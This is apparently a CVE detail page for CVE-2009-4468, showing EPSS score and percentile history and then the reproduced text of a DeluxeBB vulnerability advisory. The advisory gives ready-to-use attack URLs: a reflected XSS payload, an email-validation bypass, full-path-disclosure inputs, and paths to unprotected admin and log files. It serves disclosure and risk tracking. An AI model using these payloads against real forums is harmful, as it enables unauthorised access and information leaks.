CVE-2009-4468 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.14%	–	–
2022-02-13	–	–	1.14%	–	–
2022-04-03	–	–	1.14%	–	–
2022-04-24	–	–	1.14%	–	–
2022-07-17	–	–	1.14%	–	–
2022-11-13	–	–	1.14%	–	–
2022-11-20	–	–	1.14%	–	–
2022-12-04	–	–	1.14%	–	–
2023-03-12	–	–	–	0.2%	–
2023-06-18	–	–	–	0.2%	–
2023-10-29	–	–	–	0.2%	–
2023-12-03	–	–	–	0.2%	–
2023-12-10	–	–	–	0.2%	–
2024-02-11	–	–	–	0.2%	–
2024-02-18	–	–	–	0.2%	–
2024-06-02	–	–	–	0.2%	–
2024-06-02	–	–	–	0.2%	–
2024-06-16	–	–	–	0.2%	–
2024-11-24	–	–	–	0.2%	–
2024-12-22	–	–	–	0.24%	–
2025-01-05	–	–	–	0.24%	–
2025-01-19	–	–	–	0.24%	–
2025-03-18	–	–	–	–	0.14%
2025-03-30	–	–	–	–	0.72%
2025-04-15	–	–	–	–	0.72%
2025-04-15	–	–	–	–	0.72,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	34%
2022-02-13	35%
2022-04-03	56%
2022-04-24	57%
2022-07-17	58%
2022-11-13	59%
2022-11-20	58%
2022-12-04	59%
2023-03-12	56%
2023-06-18	57%
2023-10-29	58%
2023-12-03	57%
2023-12-10	58%
2024-02-11	56%
2024-02-18	57%
2024-06-02	57%
2024-06-02	57%
2024-06-16	58%
2024-11-24	59%
2024-12-22	63%
2025-01-05	64%
2025-01-19	64%
2025-03-18	32%
2025-03-30	7%
2025-04-15	71%
2025-04-15	71%

# Author: cp77fk4r | Empty0pagE[Shift+2]gmail.com<http://gmail.com> # Vendor: http://www.deluxebb.com # #[Directory Listing] http://server/templates/ http://server/images/ http://server/logs/ http://server/wysiwyg/ http://server/docs/ http://server/classes http://server/lang http://server/settings/ # # #[Cross Site Scripting] http://server/misc.php?sub=memberlist&page=-111111111111111111%3Cscript%3Ealert(1)%3C/script%3E # # #[Unprotected Admin Panel Files] http://server/templates/deluxe/admincp/ http://server/templates/corporate/admincp/ http://server/templates/blue/admincp/ # # #[Unprotected Log Files] http://server/logs/cp.php # # #[Mail Registration Validation Bypass] After the user registration procedure, Simply enter to the link: http://server/misc.php?sub=valemail&valmem=[USER_ID]&valnum=cp77fk4r you can get your [USER_ID] on the last page of Member-List section: http://server/misc.php?sub=memberlist&page=[LAST_PAGE] # # # #[Full Path Disclosure] http://server/misc.php?sub=memberlist&page=-11111111111111111 -you'll get an error like: Fatal error: Maximum execution time of 30 seconds exceeded in [FULL_PATH]/tools.php on line [..] or: http://server/misc.php?sub=memberlist&page=-1.11111111111111E+FF -you'll get an error like: Fatal error: Allowed memory size of 68157440 bytes exhausted (tried to allocate 66584545 bytes) in [FULL_PATH]/tools.php on line [..] # # #[E0F]